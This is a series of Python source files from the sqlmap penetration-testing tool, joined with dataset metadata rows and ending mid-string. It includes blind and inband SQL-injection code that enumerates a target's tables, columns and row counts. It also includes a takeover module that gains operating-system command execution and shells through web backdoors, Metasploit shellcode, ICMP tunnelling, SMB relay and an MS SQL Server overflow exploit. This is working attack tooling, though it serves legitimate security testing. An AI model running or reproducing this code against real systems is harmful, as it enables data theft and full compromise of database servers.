arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) else: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value,)) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(columnData[1], columnData[1]) columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) table = {} columns = {} if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming(value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns def _tableGetCount(self, db, table): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] def getCount(self): if not conf.tbl: warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" logger.warn(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split(".") if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) logger.warn(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: for table in conf.tbl.split(","): self._tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: self._tableGetCount(db, table) return kb.data.cachedCounts
38,028
Python
.py
658
40.466565
196
0.559997
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,169
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.exception import SqlmapUndefinedMethod class Syntax: """ This class defines generic syntax functionalities for plugins. """ def __init__(self): pass @staticmethod def _escape(expression, quote=True, escaper=None): retVal = expression if quote: for item in re.findall(r"'[^']*'+", expression, re.S): _ = item[1:-1] if _: retVal = retVal.replace(item, escaper(_)) else: retVal = escaper(expression) return retVal @staticmethod def escape(expression, quote=True): errMsg = "'escape' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg)
933
Python
.py
29
24.931034
66
0.621229
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,170
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass
150
Python
.py
6
23.666667
62
0.746479
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,171
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod class Fingerprint: """ This class defines generic fingerprint functionalities for plugins. """ def __init__(self, dbms): Backend.forceDbms(dbms) def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def forceDbmsEnum(self): pass def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" logger.warn(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: os = readInput(msg, default="W") if os[0].lower() == "w": Backend.setOs(OS.WINDOWS) break elif os[0].lower() == "l": Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" logger.warn(warnMsg)
1,726
Python
.py
46
29.565217
71
0.640887
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,172
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from plugins.generic.misc import Miscellaneous class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): self.cmdTblName = "sqlmapoutput" self.tblField = "data" Abstraction.__init__(self) def osCmd(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) web = True else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) if not conf.osShell and not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osShell(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) web = True else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.shell() if not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" valids = (1, 2) while True: tunnel = readInput(msg, default=1) if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids: tunnel = int(tunnel) break elif isinstance(tunnel, int) and tunnel in valids: break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default=1) if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break elif isinstance(choice, int) and choice in (1, 2): break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web) def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb() def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server 